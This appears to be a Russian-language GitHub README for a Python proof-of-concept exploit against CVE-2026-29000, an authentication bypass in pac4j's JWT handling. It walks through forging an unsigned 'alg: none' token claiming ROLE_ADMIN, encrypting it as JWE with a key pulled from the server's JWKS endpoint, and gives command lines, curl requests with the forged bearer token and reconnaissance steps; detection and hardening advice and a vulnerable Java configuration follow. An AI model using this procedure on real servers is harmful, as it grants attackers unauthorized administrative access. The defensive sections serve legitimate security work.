
Python POC, эксплойт для CVE-2026-29000
Подтверждение концепции для CVE-2026-29000 — критическая уязвимость обхода аутентификации в реализации JWT pac4j, позволяющая злоумышленникам создавать поддельные административные токены без действительной подписи.
Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор НЕ несёт ответственности за любое неправомерное использование, ущерб или незаконное применение этого эксплойта.
Эта уязвимость эксплуатирует недостаток в механизме JWT-аутентификации pac4j, при котором библиотека:
alg: "none" в заголовке JWTЗлоумышленник может создать неподписанный JWT с произвольными утверждениями (например, role: "ROLE_ADMIN"), зашифровать его в контейнер JWE с использованием открытого ключа сервера и получить несанкционированный доступ к административным функциям.
Чтобы эксплойт сработал, целевой сервер должен удовлетворять ВСЕМ следующим условиям:
Сервер должен предоставлять свои открытые ключи через одну из этих конечных точек:
/.well-known/jwks.json (стандартная конечная точка OAuth/OIDC)/api/auth/jwks (пользовательская конечная точка)Почему: Эксплойт автоматически загружает открытый ключ сервера для шифрования поддельного JWE-токена.
Сервер должен:
role в полезной нагрузке JWTROLE_ADMIN)Распространённые роли:
ROLE_ADMIN — полный административный доступROLE_USER — стандартный доступ пользователяСервер должен:
Приложение должно использовать pac4j с:
"none" или неадекватной проверкой алгоритмаrequests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Пример:
python3 exploit.py http://vulnerable-app.local:8080
Скрипт будет:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Если конечная точка JWKS недоступна публично, укажите JWK вручную:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
Эксплойт выводит JWE-токен в следующем формате:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Используйте токен в HTTP-запросах для доступа к защищённым конечным точкам:
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
JWT создаётся без подписи (alg: "none"), что обычно недействительно, но принимается уязвимыми серверами.
Эксплойт запрашивает:
/.well-known/jwks.json (стандарт OAuth/OIDC)/api/auth/jwks (пользовательская конечная точка)Это позволяет получить открытый RSA-ключ сервера, необходимый для шифрования.
Неподписанный JWT шифруется с использованием:
Это создаёт JWE-токен, который сервер может расшифровать, но не будет проверять внутреннюю подпись.
JWE-токен включается в заголовок Authorization:
Authorization: Bearer <JWE_TOKEN>
Уязвимый сервер расшифровывает его и извлекает неподписанный JWT, доверяя утверждениям без проверки подписи.
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
Доступность конечной точки JWKS
/.well-known/jwks.json или /api/auth/jwks публичноЖурналы проверки JWT
alg: "none"Просмотр конфигурации
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
Принудительная проверка подписи
// BAD - Accepts unsigned tokens
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerable
// GOOD - Requires valid signature
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
Проверяйте алгоритм JWT
alg: "none"Отключите JWE, если он не нужен
Обновите pac4j
Добавьте уровни проверки токена
exp)iss)Ограничьте доступ к конечной точке JWKS
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Internal networks only
deny all;
}
Мониторьте журналы аутентификации
alg: "none"Сегментация сети
Регулярные аудиты безопасности
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
Этот эксплойт предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Несанкционированный доступ к компьютерным системам является незаконным. Этот инструмент следует использовать только:
Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим инструментом.
Лицензия MIT — подробности см. в файле LICENSE
Нашли ошибку? Есть предложения по улучшению?
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)По вопросам, проблемам или предложениям:
Последнее обновление: май 2026
Автор: Группа исследования безопасности
Статус: Образовательный PoC